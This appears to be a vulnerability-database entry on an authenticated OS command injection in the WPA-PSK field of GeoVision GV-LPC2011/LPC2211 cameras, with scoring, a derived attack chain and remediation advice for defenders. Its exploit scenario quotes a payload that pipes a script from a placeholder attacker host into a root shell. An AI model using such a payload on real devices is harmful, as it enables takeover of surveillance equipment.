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GeoVision LPC2211 CVE-2026-88275

| EUVDEUVD-2026-75309 HIGH
OS Command Injection (CWE-78)
2026-09-10 GV GHSA-g92f-j55q-7ccp
7.2
CVSS 3.1 · Vendor: GV
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain admin credentials (default or stolen)
  2. Delivery
    Access camera web admin interface over network
  3. Exploit
    Navigate to wireless configuration
  4. Execution
    Inject shell syntax in WPA-PSK field
  5. Persist
    Apply wireless configuration
  6. Impact
    Execute arbitrary commands as root

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires valid administrator credentials on the GeoVision GV-LPC2011 or GV-LPC2211 running firmware V1.13 - PR:H is confirmed by the CVSS vector. The attacker must be able to reach the device's administrative web interface over the network (AV:N). The trigger condition is specifically the act of applying a wireless configuration containing a WPA-PSK with shell metacharacters; the injection does not occur passively. Exploitation is limited by: (1) the need for administrator-level authentication, (2) the device being network-reachable from the attacker's position, and (3) the wireless configuration functionality being accessible and exercised. Environments where camera admin interfaces are firewalled off from untrusted networks and use non-default, strong admin passwords face substantially reduced risk. No special platform, OS, or non-default server-side configuration beyond having a network-accessible admin panel is required.

Impact

The provided CVSS 3.1 vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H yields a score of 7.2, which appropriately captures the trade-off between high impact (root execution, full C/I/A compromise) and the high privilege prerequisite (administrator credentials required). The network attack vector reflects that the admin web interface of an IP camera is typically accessible over the local network or, in poorly segmented deployments, over the internet. No EPSS score, KEV listing, or public POC was provided in the input data, and no public exploit has been identified at time of analysis. Real-world risk is meaningfully constrained by the PR:H requirement - exploitation requires an attacker who has already obtained administrator credentials, either through credential theft, default credential abuse, or a prior compromise. However, in security camera deployments, default or shared admin passwords are endemic, which elevates practical risk above what the CVSS score alone suggests. The vulnerability is particularly concerning in multi-tenant or installer-accessible environments where the admin credential is shared. No CVSS/description vector conflict is present - the network-accessible admin interface and the need for admin credentials are internally consistent.

Exploit ScenarioDerived

An attacker who has obtained administrator credentials - whether through default password abuse, credential theft, or social engineering of an on-site installer - logs into the camera's web administration interface over the local network. In the wireless settings panel, the attacker enters a WPA-PSK value containing embedded shell syntax such as '; curl http://attacker/shell.sh | sh; #'. When the administrator clicks 'Apply' to save the wireless configuration, the firmware passes the unsanitized PSK to a shell command, executing the injected payload as root and establishing persistent access to the camera. No public exploit code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.4% exploitation probability (EPSS)

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AnalysisAIv1 – Sep 10, 2026

OS command injection in GeoVision GV-LPC2011/LPC2211 firmware V1.13 allows an authenticated administrator to achieve root-level command execution on the device by embedding shell metacharacters in the WPA-PSK (Wi-Fi pre-shared key) field of the wireless configuration. When the configuration is saved and applied, the unsanitized PSK value is passed to a shell command without escaping, executing attacker-controlled code as root. No public exploit code or active exploitation has been identified at time of analysis, but the requirement for only administrator credentials - typically held by installers or facility operators - limits but does not eliminate abuse potential.

RemediationAI

Consult GeoVision's security advisory at https://www.geovision.com.tw/cyber_security.php for firmware update availability, as no specific fixed version is confirmed in available data. As an immediate compensating control, restrict access to the camera's administrative web interface to trusted management networks only - block the admin interface port (typically TCP 80/443) at the network perimeter and enforce VLAN segmentation so cameras are not directly reachable from untrusted segments. Change all default administrator passwords to strong, unique credentials to reduce the risk of credential-based precondition being met. If wireless configuration (WPA-PSK) is not required for the deployment, disable the wireless interface entirely via a wired-only configuration. Audit all GV-LPC2011/LPC2211 devices for signs of unauthorized wireless configuration changes in the administrator audit log.

Affected VersionsENISA

GV-LPC2011/LPC2211 1.13

Affected Packages

euvd gv_lpc2011_lpc2211 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected devices, GeoVision GV-LPC2011 and GV-LPC2211, are IP-based license plate capture cameras running embedded Linux firmware version 1.13 (CPE: cpe:2.3:a:geovision_inc.:gv-lpc2011/lpc2211:*:*:*:*:*:*:*:*). The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically in the wireless configuration subsystem. The WPA-PSK field - intended to accept a passphrase - is passed unsanitized to a shell command (e.g., via system(), popen(), or a shell script) when the device applies the wireless interface configuration. Shell metacharacters such as backticks, $(), semicolons, or pipes embedded in the PSK value are interpreted by the shell, causing arbitrary command execution. The resulting commands run with root privileges, consistent with how embedded network configuration scripts typically operate on such devices.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (GV) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.2 HIGH

Admin web interface is network-accessible (AV:N), administrator credentials required (PR:H), shell injection via config apply is trivially triggered once logged in (AC:L), root execution yields full C/I/A.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GV).

CVSS VectorVendor: GV

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

GeoVision GV-LPC2211 V1.13 allows an administrator-controlled WPA-PSK containing shell syntax to execute arbitrary commands as root when wireless configuration is applied.

Executive ViewAI

Why It Matters

GeoVision GV-LPC2011/LPC2211 IP surveillance cameras running firmware V1.13 contain a vulnerability allowing administrators to unknowingly install malicious code with full system privileges through Wi-Fi configuration manipulation, putting physical security monitoring infrastructure at risk if administrator credentials are compromised or misused by facility staff.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict Wi-Fi configuration access to on-site administrators only, eliminating remote configuration capabilities if feasible; enforce mandatory strong passwords for administrative accounts; implement network-level access controls preventing unauthorized connections to camera management interfaces; enable comprehensive audit logging to detect injection attempts; physically secure camera installations to prevent unauthorized credential access.

Threat Intelligence Overview

EPSS Score
0.4%
Top 70% exploitable
Prevalence
Low
niche license-plate capture camera, specialized surveillance deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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